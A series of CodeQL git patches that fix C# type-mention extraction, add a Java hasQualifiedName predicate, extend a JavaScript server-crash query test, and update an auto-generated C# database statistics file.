a/csharp/ql/test/library-tests/typeMentions/nullable-enable/Program.cs b/csharp/ql/test/library-tests/typeMentions/nullable-enable/Program.cs new file mode 100644 index 00000000000..6763ca2d2b1 --- /dev/null +++ b/csharp/ql/test/library-tests/typeMentions/nullable-enable/Program.cs @@ -0,0 +1,22 @@ +using System; + +#nullable enable + +public class Base { } +public class Derived : Base { } +public interface I0 { } +public interface I1 : I0 { } +public struct Str : I1 { } + +public class C1 +{ + public void M1() + { + Derived? d0 = new Derived(); + Derived d1 = new Derived(); + Str? s0 = new Str(); + Str s1 = new Str(); + I1? i0 = new Str(); + I1 i1 = new Str(); + } +} \ No newline at end of file diff --git a/csharp/ql/test/library-tests/typeMentions/nullable-enable/TypeMentions.expected b/csharp/ql/test/library-tests/typeMentions/nullable-enable/TypeMentions.expected new file mode 100644 index 00000000000..4c1108227dd --- /dev/null +++ b/csharp/ql/test/library-tests/typeMentions/nullable-enable/TypeMentions.expected @@ -0,0 +1,21 @@ +| Program.cs:6:24:6:27 | Base | +| Program.cs:6:24:6:27 | Base | +| Program.cs:6:24:6:27 | Base | +| Program.cs:8:23:8:24 | I0 | +| Program.cs:8:23:8:24 | I0 | +| Program.cs:8:23:8:24 | I0 | +| Program.cs:9:21:9:22 | I1 | +| Program.cs:13:12:13:15 | Void | +| Program.cs:15:9:15:15 | Derived | +| Program.cs:15:27:15:33 | Derived | +| Program.cs:16:9:16:15 | Derived | +| Program.cs:16:26:16:32 | Derived | +| Program.cs:17:9:17:11 | Str | +| Program.cs:17:9:17:12 | Nullable<Str> | +| Program.cs:17:23:17:25 | Str | +| Program.cs:18:9:18:11 | Str | +| Program.cs:18:22:18:24 | Str | +| Program.cs:19:9:19:10 | I1 | +| Program.cs:19:22:19:24 | Str | +| Program.cs:20:9:20:10 | I1 | +| Program.cs:20:21:20:23 | Str | diff --git a/csharp/ql/test/library-tests/typeMentions/nullable-enable/TypeMentions.ql b/csharp/ql/test/library-tests/typeMentions/nullable-enable/TypeMentions.ql new file mode 100644 index 00000000000..817a4fde7df --- /dev/null +++ b/csharp/ql/test/library-tests/typeMentions/nullable-enable/TypeMentions.ql @@ -0,0 +1,4 @@ +import csharp + +from TypeMention tm +select tm From c0e0bd2531a3d235711e25c5e492cbf502e9e8b7 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Wed, 13 Jan 2021 08:51:47 +0100 Subject: [PATCH 0552/1241] C#: Fix type mention extraction of named types with nullability enabled --- csharp/extractor/Semmle.Extraction.CSharp/SymbolExtensions.cs | 4 ++-- .../typeMentions/nullable-disable/TypeMentions.expected | 2 -- .../typeMentions/nullable-enable/TypeMentions.expected | 4 ---- 3 files changed, 2 insertions(+), 8 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp/SymbolExtensions.cs b/csharp/extractor/Semmle.Extraction.CSharp/SymbolExtensions.cs index 530a30d8a51..6ea04c7ca9f 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/SymbolExtensions.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/SymbolExtensions.cs @@ -497,13 +497,13 @@ namespace Semmle.Extraction.CSharp /// <summary> /// Holds if this symbol is a source declaration. /// </summary> - public static bool IsSourceDeclaration(this ISymbol symbol) => SymbolEqualityComparer.Default.Equals(symbol, symbol.OriginalDefinition); + public static bool IsSourceDeclaration(this ISymbol symbol) => SymbolEqualityComparer.IncludeNullability.Equals(symbol, symbol.OriginalDefinition); /// <summary> /// Holds if this method is a source declaration. /// </summary> public static bool IsSourceDeclaration(this IMethodSymbol method) => - IsSourceDeclaration((ISymbol)method) && SymbolEqualityComparer.Default.Equals(method, method.ConstructedFrom) && method.ReducedFrom == null; + IsSourceDeclaration((ISymbol)method) && SymbolEqualityComparer.IncludeNullability.Equals(method, method.ConstructedFrom) && method.ReducedFrom == null; /// <summary> /// Holds if this parameter is a source declaration. diff --git a/csharp/ql/test/library-tests/typeMentions/nullable-disable/TypeMentions.expected b/csharp/ql/test/library-tests/typeMentions/nullable-disable/TypeMentions.expected index 643dbc807fc..23c1fc21767 100644 --- a/csharp/ql/test/library-tests/typeMentions/nullable-disable/TypeMentions.expected +++ b/csharp/ql/test/library-tests/typeMentions/nullable-disable/TypeMentions.expected @@ -1,6 +1,4 @@ | Program.cs:6:24:6:27 | Base | -| Program.cs:6:24:6:27 | Base | -| Program.cs:8:23:8:24 | I0 | | Program.cs:8:23:8:24 | I0 | | Program.cs:9:21:9:22 | I1 | | Program.cs:13:12:13:15 | Void | diff --git a/csharp/ql/test/library-tests/typeMentions/nullable-enable/TypeMentions.expected b/csharp/ql/test/library-tests/typeMentions/nullable-enable/TypeMentions.expected index 4c1108227dd..23c1fc21767 100644 --- a/csharp/ql/test/library-tests/typeMentions/nullable-enable/TypeMentions.expected +++ b/csharp/ql/test/library-tests/typeMentions/nullable-enable/TypeMentions.expected @@ -1,8 +1,4 @@ | Program.cs:6:24:6:27 | Base | -| Program.cs:6:24:6:27 | Base | -| Program.cs:6:24:6:27 | Base | -| Program.cs:8:23:8:24 | I0 | -| Program.cs:8:23:8:24 | I0 | | Program.cs:8:23:8:24 | I0 | | Program.cs:9:21:9:22 | I1 | | Program.cs:13:12:13:15 | Void | From 61b207f0675f1a62e9155305d0e80f5900625905 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Wed, 13 Jan 2021 13:24:48 +0100 Subject: [PATCH 0553/1241] Rework type mention test --- .../Program.cs => NullableDisabled.cs} | 0 .../Program.cs => NullableEnabled.cs} | 4 +- .../typeMentions/TypeMentions.expected | 37 +++++++++++++++++++ .../typeMentions/TypeMentions.ql | 29 +++++++++++++++ .../nullable-disable/TypeMentions.expected | 17 --------- .../nullable-disable/TypeMentions.ql | 4 -- .../nullable-enable/TypeMentions.expected | 17 --------- .../nullable-enable/TypeMentions.ql | 4 -- 8 files changed, 69 insertions(+), 43 deletions(-) rename csharp/ql/test/library-tests/typeMentions/{nullable-disable/Program.cs => NullableDisabled.cs} (100%) rename csharp/ql/test/library-tests/typeMentions/{nullable-enable/Program.cs => NullableEnabled.cs} (88%) create mode 100644 csharp/ql/test/library-tests/typeMentions/TypeMentions.expected create mode 100644 csharp/ql/test/library-tests/typeMentions/TypeMentions.ql delete mode 100644 csharp/ql/test/library-tests/typeMentions/nullable-disable/TypeMentions.expected delete mode 100644 csharp/ql/test/library-tests/typeMentions/nullable-disable/TypeMentions.ql delete mode 100644 csharp/ql/test/library-tests/typeMentions/nullable-enable/TypeMentions.expected delete mode 100644 csharp/ql/test/library-tests/typeMentions/nullable-enable/TypeMentions.ql diff --git a/csharp/ql/test/library-tests/typeMentions/nullable-disable/Program.cs b/csharp/ql/test/library-tests/typeMentions/NullableDisabled.cs similarity index 100% rename from csharp/ql/test/library-tests/typeMentions/nullable-disable/Program.cs rename to csharp/ql/test/library-tests/typeMentions/NullableDisabled.cs diff --git a/csharp/ql/test/library-tests/typeMentions/nullable-enable/Program.cs b/csharp/ql/test/library-tests/typeMentions/NullableEnabled.cs similarity index 88% rename from csharp/ql/test/library-tests/typeMentions/nullable-enable/Program.cs rename to csharp/ql/test/library-tests/typeMentions/NullableEnabled.cs index 6763ca2d2b1..e9240aa9d77 100644 --- a/csharp/ql/test/library-tests/typeMentions/nullable-enable/Program.cs +++ b/csharp/ql/test/library-tests/typeMentions/NullableEnabled.cs @@ -19,4 +19,6 @@ public class C1 I1? i0 = new Str(); I1 i1 = new Str(); } -} \ No newline at end of file +} + +// semmle-extractor-options: --separate-compilation \ No newline at end of file diff --git a/csharp/ql/test/library-tests/typeMentions/TypeMentions.expected b/csharp/ql/test/library-tests/typeMentions/TypeMentions.expected new file mode 100644 index 00000000000..b0e69ebc377 --- /dev/null +++ b/csharp/ql/test/library-tests/typeMentions/TypeMentions.expected @@ -0,0 +1,37 @@ +typeMentions +| NullableDisabled.cs:6:24:6:27 | Base | +| NullableDisabled.cs:8:23:8:24 | I0 | +| NullableDisabled.cs:9:21:9:22 | I1 | +| NullableDisabled.cs:13:12:13:15 | Void | +| NullableDisabled.cs:15:9:15:15 | Derived | +| NullableDisabled.cs:15:27:15:33 | Derived | +| NullableDisabled.cs:16:9:16:15 | Derived | +| NullableDisabled.cs:16:26:16:32 | Derived | +| NullableDisabled.cs:17:9:17:11 | Str | +| NullableDisabled.cs:17:9:17:12 | Nullable<Str> | +| NullableDisabled.cs:17:23:17:25 | Str | +| NullableDisabled.cs:18:9:18:11 | Str | +| NullableDisabled.cs:18:22:18:24 | Str | +| NullableDisabled.cs:19:9:19:10 | I1 | +| NullableDisabled.cs:19:22:19:24 | Str | +| NullableDisabled.cs:20:9:20:10 | I1 | +| NullableDisabled.cs:20:21:20:23 | Str | +| NullableEnabled.cs:6:24:6:27 | Base | +| NullableEnabled.cs:8:23:8:24 | I0 | +| NullableEnabled.cs:9:21:9:22 | I1 | +| NullableEnabled.cs:13:12:13:15 | Void | +| NullableEnabled.cs:15:9:15:15 | Derived | +| NullableEnabled.cs:15:27:15:33 | Derived | +| NullableEnabled.cs:16:9:16:15 | Derived | +| NullableEnabled.cs:16:26:16:32 | Derived | +| NullableEnabled.cs:17:9:17:11 | Str | +| NullableEnabled.cs:17:9:17:12 | Nullable<Str> | +| NullableEnabled.cs:17:23:17:25 | Str | +| NullableEnabled.cs:18:9:18:11 | Str | +| NullableEnabled.cs:18:22:18:24 | Str | +| NullableEnabled.cs:19:9:19:10 | I1 | +| NullableEnabled.cs:19:22:19:24 | Str | +| NullableEnabled.cs:20:9:20:10 | I1 | +| NullableEnabled.cs:20:21:20:23 | Str | +duplicates +diff diff --git a/csharp/ql/test/library-tests/typeMentions/TypeMentions.ql b/csharp/ql/test/library-tests/typeMentions/TypeMentions.ql new file mode 100644 index 00000000000..abe0a12ed0e --- /dev/null +++ b/csharp/ql/test/library-tests/typeMentions/TypeMentions.ql @@ -0,0 +1,29 @@ +import csharp + +private predicate matchingLineLoc(TypeMention tm0, TypeMention tm1) { + tm0.getLocation().getStartLine() = tm1.getLocation().getStartLine() and + tm0.getLocation().getEndLine() = tm1.getLocation().getEndLine() and + tm0.getLocation().getStartColumn() = tm1.getLocation().getStartColumn() and + tm0.getLocation().getEndColumn() = tm1.getLocation().getEndColumn() +} + +private predicate matchingFile(TypeMention tm0, TypeMention tm1) { + tm0.getLocation().getFile().getStem() = tm1.getLocation().getFile().getStem() +} + +query predicate typeMentions(TypeMention tm) { any() } + +query predicate duplicates(TypeMention tm) { + exists(TypeMention other | + matchingLineLoc(other, tm) and + matchingFile(other, tm) and + other != tm + ) +} + +query predicate diff(TypeMention tm) { + not exists(TypeMention other | + matchingLineLoc(other, tm) and + not matchingFile(other, tm) + ) +} diff --git a/csharp/ql/test/library-tests/typeMentions/nullable-disable/TypeMentions.expected b/csharp/ql/test/library-tests/typeMentions/nullable-disable/TypeMentions.expected deleted file mode 100644 index 23c1fc21767..00000000000 --- a/csharp/ql/test/library-tests/typeMentions/nullable-disable/TypeMentions.expected +++ /dev/null @@ -1,17 +0,0 @@ -| Program.cs:6:24:6:27 | Base | -| Program.cs:8:23:8:24 | I0 | -| Program.cs:9:21:9:22 | I1 | -| Program.cs:13:12:13:15 | Void | -| Program.cs:15:9:15:15 | Derived | -| Program.cs:15:27:15:33 | Derived | -| Program.cs:16:9:16:15 | Derived | -| Program.cs:16:26:16:32 | Derived | -| Program.cs:17:9:17:11 | Str | -| Program.cs:17:9:17:12 | Nullable<Str> | -| Program.cs:17:23:17:25 | Str | -| Program.cs:18:9:18:11 | Str | -| Program.cs:18:22:18:24 | Str | -| Program.cs:19:9:19:10 | I1 | -| Program.cs:19:22:19:24 | Str | -| Program.cs:20:9:20:10 | I1 | -| Program.cs:20:21:20:23 | Str | diff --git a/csharp/ql/test/library-tests/typeMentions/nullable-disable/TypeMentions.ql b/csharp/ql/test/library-tests/typeMentions/nullable-disable/TypeMentions.ql deleted file mode 100644 index 817a4fde7df..00000000000 --- a/csharp/ql/test/library-tests/typeMentions/nullable-disable/TypeMentions.ql +++ /dev/null @@ -1,4 +0,0 @@ -import csharp - -from TypeMention tm -select tm diff --git a/csharp/ql/test/library-tests/typeMentions/nullable-enable/TypeMentions.expected b/csharp/ql/test/library-tests/typeMentions/nullable-enable/TypeMentions.expected deleted file mode 100644 index 23c1fc21767..00000000000 --- a/csharp/ql/test/library-tests/typeMentions/nullable-enable/TypeMentions.expected +++ /dev/null @@ -1,17 +0,0 @@ -| Program.cs:6:24:6:27 | Base | -| Program.cs:8:23:8:24 | I0 | -| Program.cs:9:21:9:22 | I1 | -| Program.cs:13:12:13:15 | Void | -| Program.cs:15:9:15:15 | Derived | -| Program.cs:15:27:15:33 | Derived | -| Program.cs:16:9:16:15 | Derived | -| Program.cs:16:26:16:32 | Derived | -| Program.cs:17:9:17:11 | Str | -| Program.cs:17:9:17:12 | Nullable<Str> | -| Program.cs:17:23:17:25 | Str | -| Program.cs:18:9:18:11 | Str | -| Program.cs:18:22:18:24 | Str | -| Program.cs:19:9:19:10 | I1 | -| Program.cs:19:22:19:24 | Str | -| Program.cs:20:9:20:10 | I1 | -| Program.cs:20:21:20:23 | Str | diff --git a/csharp/ql/test/library-tests/typeMentions/nullable-enable/TypeMentions.ql b/csharp/ql/test/library-tests/typeMentions/nullable-enable/TypeMentions.ql deleted file mode 100644 index 817a4fde7df..00000000000 --- a/csharp/ql/test/library-tests/typeMentions/nullable-enable/TypeMentions.ql +++ /dev/null @@ -1,4 +0,0 @@ -import csharp - -from TypeMention tm -select tm From f3b8fe2e2ed760301bbf417e94d2738f2d0d5b06 Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen <aschackmull@github.com> Date: Wed, 13 Jan 2021 13:42:35 +0100 Subject: [PATCH 0554/1241] Java: Add Member.hasQualifiedName. --- java/ql/src/semmle/code/java/Member.qll | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/java/ql/src/semmle/code/java/Member.qll b/java/ql/src/semmle/code/java/Member.qll index e9d4fe82978..a0e988bd386 100755 --- a/java/ql/src/semmle/code/java/Member.qll +++ b/java/ql/src/semmle/code/java/Member.qll @@ -23,6 +23,14 @@ class Member extends Element, Annotatable, Modifiable, @member { /** Gets the qualified name of this member. */ string getQualifiedName() { result = getDeclaringType().getName() + "." + getName() } + /** + * Holds if this member has the specified name and is declared in the + * specified package and type. + */ + predicate hasQualifiedName(string package, string type, string name) { + this.getDeclaringType().hasQualifiedName(package, type) and this.hasName(name) + } + /** Holds if this member is package protected, that is, neither public nor private nor protected. */ predicate isPackageProtected() { not isPrivate() and From 12b985be8748f5cd646639eb82aea560424f0bd0 Mon Sep 17 00:00:00 2001 From: Esben Sparre Andreasen <esbena@github.com> Date: Wed, 13 Jan 2021 14:49:29 +0100 Subject: [PATCH 0555/1241] Update javascript/ql/src/Security/CWE-730/ServerCrash.ql Co-authored-by: Erik Krogh Kristensen <erik-krogh@github.com> --- javascript/ql/src/Security/CWE-730/ServerCrash.ql | 1 + 1 file changed, 1 insertion(+) diff --git a/javascript/ql/src/Security/CWE-730/ServerCrash.ql b/javascript/ql/src/Security/CWE-730/ServerCrash.ql index 4df31174150..68607db011f 100644 --- a/javascript/ql/src/Security/CWE-730/ServerCrash.ql +++ b/javascript/ql/src/Security/CWE-730/ServerCrash.ql @@ -40,6 +40,7 @@ Function invokedByRouteHandler(HTTP::RouteHandler rh) { // follow the immediate call graph exists(DataFlow::InvokeNode invk | result = invk.getACallee() and + // purposely not checking for `getEnclosingTryCatchStmt`. An async callback called from inside a try-catch can still crash the server. invk.getEnclosingFunction() = invokedByRouteHandler(rh) ) // if new edges are added here, the `edges` predicate should be updated accordingly From 1bc7d68a50f402641a6fb5ba555ad4c55d37b763 Mon Sep 17 00:00:00 2001 From: Esben Sparre Andreasen <esbena@github.com> Date: Wed, 13 Jan 2021 14:49:42 +0100 Subject: [PATCH 0556/1241] Update javascript/ql/test/query-tests/Security/CWE-730/server-crash.js Co-authored-by: Erik Krogh Kristensen <erik-krogh@github.com> --- .../ql/test/query-tests/Security/CWE-730/server-crash.js | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/javascript/ql/test/query-tests/Security/CWE-730/server-crash.js b/javascript/ql/test/query-tests/Security/CWE-730/server-crash.js index 7b61262ee92..b1e796cbd7a 100644 --- a/javascript/ql/test/query-tests/Security/CWE-730/server-crash.js +++ b/javascript/ql/test/query-tests/Security/CWE-730/server-crash.js @@ -70,4 +70,13 @@ app.get("/async-throw", (req, res) => { fs.readFile("/WHATEVER", (err, x) => { res.setHeader("reflected", unknown); // OK }); + + try { + indirection7(); + } catch (e) {} }); +function indirection7() { + fs.readFile("/foo", (err, x) => { + throw err; // NOT OK + }); +} From 12d602b798ee17205110e3a37a676bd7011690cd Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Wed, 13 Jan 2021 15:46:08 +0100 Subject: [PATCH 0557/1241] Add new .stats file --- .../ql/src/semmlecode.csharp.dbscheme.stats | 5091 ++++++++--------- 1 file changed, 2542 insertions(+), 2549 deletions(-) diff --git a/csharp/ql/src/semmlecode.csharp.dbscheme.stats b/csharp/ql/src/semmlecode.csharp.dbscheme.stats index 185b464f7b6..f60c0b8ec1e 100644 --- a/csharp/ql/src/semmlecode.csharp.dbscheme.stats +++ b/csharp/ql/src/semmlecode.csharp.dbscheme.stats @@ -9,7 +9,7 @@ </e> <e> <k>@extractor_message</k> -<v>8324</v> +<v>7682</v> </e> <e> <k>@externalDefect</k> @@ -25,7 +25,7 @@ </e> <e> <k>@duplication</k> -<v>22778</v> +<v>22774</v> </e> <e> <k>@similarity</k> @@ -33,31 +33,31 @@ </e> <e> <k>@location_default</k> -<v>14071803</v> +<v>14071854</v> </e> <e> <k>@assembly</k> -<v>4206</v> +<v>4205</v> </e> <e> <k>@file</k> -<v>42547</v> +<v>42539</v> </e> <e> <k>@folder</k> -<v>16971</v> +<v>16968</v> </e> <e> <k>@namespace</k> -<v>21983</v> +<v>21979</v> </e> <e> <k>@namespace_declaration</k> -<v>19797</v> +<v>19793</v> </e> <e> <k>@using_namespace_directive</k> -<v>144525</v> +<v>144498</v> </e> <e> <k>@using_static_directive</k> @@ -117,23 +117,23 @@ </e> <e> <k>@enum_type</k> -<v>11975</v> +<v>11972</v> </e> <e> <k>@struct_type</k> -<v>49759</v> +<v>49750</v> </e> <e> <k>@class_type</k> -<v>305676</v> +<v>305620</v> </e> <e> <k>@interface_type</k> -<v>178449</v> +<v>178417</v> </e> <e> <k>@delegate_type</k> -<v>107770</v> +<v>107750</v> </e> <e> <k>@null_type</k> @@ -141,7 +141,7 @@ </e> <e> <k>@type_parameter</k> -<v>202980</v> +<v>202943</v> </e> <e> <k>@pointer_type</k> @@ -153,7 +153,7 @@ </e> <e> <k>@array_type</k> -<v>9139</v> +<v>9138</v> </e> <e> <k>@void_type</k> @@ -165,7 +165,7 @@ </e> <e> <k>@tuple_type</k> -<v>1786</v> +<v>1785</v> </e> <e> <k>@uint_ptr_type</k> @@ -185,15 +185,15 @@ </e> <e> <k>@typeref</k> -<v>235236</v> +<v>235192</v> </e> <e> <k>@attribute</k> -<v>750685</v> +<v>750562</v> </e> <e> <k>@type_mention</k> -<v>1269672</v> +<v>1269461</v> </e> <e> <k>@oblivious</k> @@ -205,11 +205,11 @@ </e> <e> <k>@annotated</k> -<v>120</v> +<v>119</v> </e> <e> <k>@type_parameter_constraints</k> -<v>611937</v> +<v>611825</v> </e> <e> <k>@modifier</k> @@ -217,47 +217,47 @@ </e> <e> <k>@property</k> -<v>424328</v> +<v>424250</v> </e> <e> <k>@indexer</k> -<v>17074</v> +<v>17071</v> </e> <e> <k>@getter</k> -<v>441168</v> +<v>441087</v> </e> <e> <k>@setter</k> -<v>127768</v> +<v>127744</v> </e> <e> <k>@event</k> -<v>15259</v> +<v>15256</v> </e> <e> <k>@add_event_accessor</k> -<v>15259</v> +<v>15256</v> </e> <e> <k>@remove_event_accessor</k> -<v>15259</v> +<v>15256</v> </e> <e> <k>@operator</k> -<v>12433</v> +<v>12431</v> </e> <e> <k>@method</k> -<v>1118739</v> +<v>1118769</v> </e> <e> <k>@constructor</k> -<v>278163</v> +<v>278112</v> </e> <e> <k>@destructor</k> -<v>444</v> +<v>443</v> </e> <e> <k>@local_function</k> @@ -265,15 +265,15 @@ </e> <e> <k>@addressable_field</k> -<v>371167</v> +<v>371099</v> </e> <e> <k>@constant</k> -<v>185564</v> +<v>185530</v> </e> <e> <k>@addressable_local_variable</k> -<v>162441</v> +<v>162444</v> </e> <e> <k>@local_constant</k> @@ -285,31 +285,31 @@ </e> <e> <k>@parameter</k> -<v>2422000</v> +<v>2421790</v> </e> <e> <k>@block_stmt</k> -<v>308628</v> +<v>308574</v> </e> <e> <k>@expr_stmt</k> -<v>367903</v> +<v>367835</v> </e> <e> <k>@return_stmt</k> -<v>96212</v> +<v>96195</v> </e> <e> <k>@using_block_stmt</k> -<v>1142</v> +<v>1141</v> </e> <e> <k>@var_decl_stmt</k> -<v>147912</v> +<v>147915</v> </e> <e> <k>@if_stmt</k> -<v>119194</v> +<v>119173</v> </e> <e> <k>@switch_stmt</k> @@ -317,7 +317,7 @@ </e> <e> <k>@while_stmt</k> -<v>4545</v> +<v>4544</v> </e> <e> <k>@do_stmt</k> @@ -325,15 +325,15 @@ </e> <e> <k>@for_stmt</k> -<v>6968</v> +<v>6966</v> </e> <e> <k>@foreach_stmt</k> -<v>5362</v> +<v>5361</v> </e> <e> <k>@break_stmt</k> -<v>10915</v> +<v>10913</v> </e> <e> <k>@continue_stmt</k> @@ -353,7 +353,7 @@ </e> <e> <k>@throw_stmt</k> -<v>74350</v> +<v>74338</v> </e> <e> <k>@yield_stmt</k> @@ -401,7 +401,7 @@ </e> <e> <k>@case_stmt</k> -<v>22450</v> +<v>22446</v> </e> <e> <k>@local_function_stmt</k> @@ -413,11 +413,11 @@ </e> <e> <k>@bool_literal_expr</k> -<v>69540</v> +<v>69528</v> </e> <e> <k>@int_literal_expr</k> -<v>756452</v> +<v>755600</v> </e> <e> <k>@long_literal_expr</k> @@ -429,63 +429,63 @@ </e> <e> <k>@string_literal_expr</k> -<v>412534</v> +<v>412438</v> </e> <e> <k>@null_literal_expr</k> -<v>107831</v> +<v>107812</v> </e> <e> <k>@local_variable_access_expr</k> -<v>524151</v> +<v>524163</v> </e> <e> <k>@parameter_access_expr</k> -<v>357639</v> +<v>357577</v> </e> <e> <k>@field_access_expr</k> -<v>460497</v> +<v>460413</v> </e> <e> <k>@property_access_expr</k> -<v>359783</v> +<v>359717</v> </e> <e> <k>@type_access_expr</k> -<v>346969</v> +<v>347109</v> </e> <e> <k>@typeof_expr</k> -<v>30103</v> +<v>30098</v> </e> <e> <k>@method_invocation_expr</k> -<v>548153</v> +<v>548155</v> </e> <e> <k>@cast_expr</k> -<v>262933</v> +<v>262888</v> </e> <e> <k>@object_creation_expr</k> -<v>62886</v> +<v>62875</v> </e> <e> <k>@array_creation_expr</k> -<v>179466</v> +<v>179509</v> </e> <e> <k>@array_init_expr</k> -<v>179290</v> +<v>179049</v> </e> <e> <k>@local_var_decl_expr</k> -<v>163747</v> +<v>163750</v> </e> <e> <k>@char_literal_expr</k> -<v>15902</v> +<v>15899</v> </e> <e> <k>@decimal_literal_expr</k> @@ -493,7 +493,7 @@ </e> <e> <k>@uint_literal_expr</k> -<v>2368</v> +<v>2367</v> </e> <e> <k>@ulong_literal_expr</k> @@ -505,11 +505,11 @@ </e> <e> <k>@this_access_expr</k> -<v>592935</v> +<v>592827</v> </e> <e> <k>@base_access_expr</k> -<v>2822</v> +<v>2821</v> </e> <e> <k>@method_access_expr</k> @@ -517,15 +517,15 @@ </e> <e> <k>@event_access_expr</k> -<v>431</v> +<v>430</v> </e> <e> <k>@indexer_access_expr</k> -<v>30815</v> +<v>30810</v> </e> <e> <k>@array_access_expr</k> -<v>19754</v> +<v>19751</v> </e> <e> <k>@delegate_invocation_expr</k> @@ -533,7 +533,7 @@ </e> <e> <k>@operator_invocation_expr</k> -<v>30005</v> +<v>30001</v> </e> <e> <k>@explicit_delegate_creation_expr</k> @@ -541,11 +541,11 @@ </e> <e> <k>@implicit_delegate_creation_expr</k> -<v>5118</v> +<v>5117</v> </e> <e> <k>@default_expr</k> -<v>6360</v> +<v>6359</v> </e> <e> <k>@plus_expr</k> @@ -553,7 +553,7 @@ </e> <e> <k>@minus_expr</k> -<v>7145</v> +<v>7144</v> </e> <e> <k>@bit_not_expr</k> @@ -561,11 +561,11 @@ </e> <e> <k>@log_not_expr</k> -<v>26433</v> +<v>26429</v> </e> <e> <k>@post_incr_expr</k> -<v>12570</v> +<v>12567</v> </e> <e> <k>@post_decr_expr</k> @@ -585,7 +585,7 @@ </e> <e> <k>@div_expr</k> -<v>1819</v> +<v>1818</v> </e> <e> <k>@rem_expr</k> @@ -593,11 +593,11 @@ </e> <e> <k>@add_expr</k> -<v>27890</v> +<v>27885</v> </e> <e> <k>@sub_expr</k> -<v>12846</v> +<v>12844</v> </e> <e> <k>@lshift_expr</k> @@ -609,31 +609,31 @@ </e> <e> <k>@lt_expr</k> -<v>16301</v> +<v>16298</v> </e> <e> <k>@gt_expr</k> -<v>9590</v> +<v>9588</v> </e> <e> <k>@le_expr</k> -<v>3898</v> +<v>3897</v> </e> <e> <k>@ge_expr</k> -<v>6285</v> +<v>6283</v> </e> <e> <k>@eq_expr</k> -<v>53935</v> +<v>53925</v> </e> <e> <k>@ne_expr</k> -<v>37966</v> +<v>37960</v> </e> <e> <k>@bit_and_expr</k> -<v>6332</v> +<v>6331</v> </e> <e> <k>@bit_xor_expr</k> @@ -641,35 +641,35 @@ </e> <e> <k>@bit_or_expr</k> -<v>14994</v> +<v>14991</v> </e> <e> <k>@log_and_expr</k> -<v>20839</v> +<v>20835</v> </e> <e> <k>@log_or_expr</k> -<v>14084</v> +<v>14082</v> </e> <e> <k>@is_expr</k> -<v>6720</v> +<v>6719</v> </e> <e> <k>@as_expr</k> -<v>2760</v> +<v>2759</v> </e> <e> <k>@null_coalescing_expr</k> -<v>3684</v> +<v>3683</v> </e> <e> <k>@conditional_expr</k> -<v>9158</v> +<v>9156</v> </e> <e> <k>@simple_assign_expr</k> -<v>167518</v> +<v>167488</v> </e> <e> <k>@assign_add_expr</k> @@ -713,7 +713,7 @@ </e> <e> <k>@object_init_expr</k> -<v>7700</v> +<v>7698</v> </e> <e> <k>@collection_init_expr</k> @@ -725,11 +725,11 @@ </e> <e> <k>@unchecked_expr</k> -<v>1422</v> +<v>1421</v> </e> <e> <k>@constructor_init_expr</k> -<v>5822</v> +<v>5821</v> </e> <e> <k>@add_event_expr</k> @@ -745,7 +745,7 @@ </e> <e> <k>@lambda_expr</k> -<v>48861</v> +<v>48852</v> </e> <e> <k>@anonymous_method_expr</k> @@ -761,11 +761,11 @@ </e> <e> <k>@dynamic_member_access_expr</k> -<v>6856</v> +<v>6854</v> </e> <e> <k>@pointer_indirection_expr</k> -<v>4060</v> +<v>4059</v> </e> <e> <k>@address_of_expr</k> @@ -773,15 +773,15 @@ </e> <e> <k>@sizeof_expr</k> -<v>1041</v> +<v>1040</v> </e> <e> <k>@await_expr</k> -<v>54853</v> +<v>54843</v> </e> <e> <k>@nameof_expr</k> -<v>15938</v> +<v>15936</v> </e> <e> <k>@interpolated_string_expr</k> @@ -837,7 +837,7 @@ </e> <e> <k>@switch_case_expr</k> -<v>4352</v> +<v>4351</v> </e> <e> <k>@assign_coalesce_expr</k> @@ -845,7 +845,7 @@ </e> <e> <k>@suppress_nullable_warning_expr</k> -<v>14409</v> +<v>14407</v> </e> <e> <k>@namespace_access_expr</k> @@ -877,19 +877,19 @@ </e> <e> <k>@singlelinecomment</k> -<v>184765</v> +<v>184733</v> </e> <e> <k>@multilinecomment</k> -<v>22113</v> +<v>22109</v> </e> <e> <k>@xmldoccomment</k> -<v>203763</v> +<v>203727</v> </e> <e> <k>@commentblock</k> -<v>144334</v> +<v>144309</v> </e> <e> <k>@asp_close_tag</k> @@ -929,7 +929,7 @@ </e> <e> <k>@cil_nop</k> -<v>820468</v> +<v>820326</v> </e> <e> <k>@cil_break</k> @@ -937,147 +937,147 @@ </e> <e> <k>@cil_ldarg_0</k> -<v>3977155</v> +<v>3976427</v> </e> <e> <k>@cil_ldarg_1</k> -<v>1217248</v> +<v>1217025</v> </e> <e> <k>@cil_ldarg_2</k> -<v>444091</v> +<v>444010</v> </e> <e> <k>@cil_ldarg_3</k> -<v>209265</v> +<v>209227</v> </e> <e> <k>@cil_ldloc_0</k> -<v>929705</v> +<v>929535</v> </e> <e> <k>@cil_ldloc_1</k> -<v>494163</v> +<v>494072</v> </e> <e> <k>@cil_ldloc_2</k> -<v>288860</v> +<v>288807</v> </e> <e> <k>@cil_ldloc_3</k> -<v>192152</v> +<v>192116</v> </e> <e> <k>@cil_stloc_0</k> -<v>525218</v> +<v>525122</v> </e> <e> <k>@cil_stloc_1</k> -<v>260635</v> +<v>260587</v> </e> <e> <k>@cil_stloc_2</k> -<v>198408</v> +<v>198371</v> </e> <e> <k>@cil_stloc_3</k> -<v>138366</v> +<v>138341</v> </e> <e> <k>@cil_ldarg_s</k> -<v>264646</v> +<v>264598</v> </e> <e> <k>@cil_ldarga_s</k> -<v>74807</v> +<v>74793</v> </e> <e> <k>@cil_starg_s</k> -<v>37193</v> +<v>37187</v> </e> <e> <k>@cil_ldloc_s</k> -<v>686711</v> +<v>686585</v> </e> <e> <k>@cil_ldloca_s</k> -<v>629558</v> +<v>629443</v> </e> <e> <k>@cil_stloc_s</k> -<v>481085</v> +<v>480997</v> </e> <e> <k>@cil_ldnull</k> -<v>604022</v> +<v>603911</v> </e> <e> 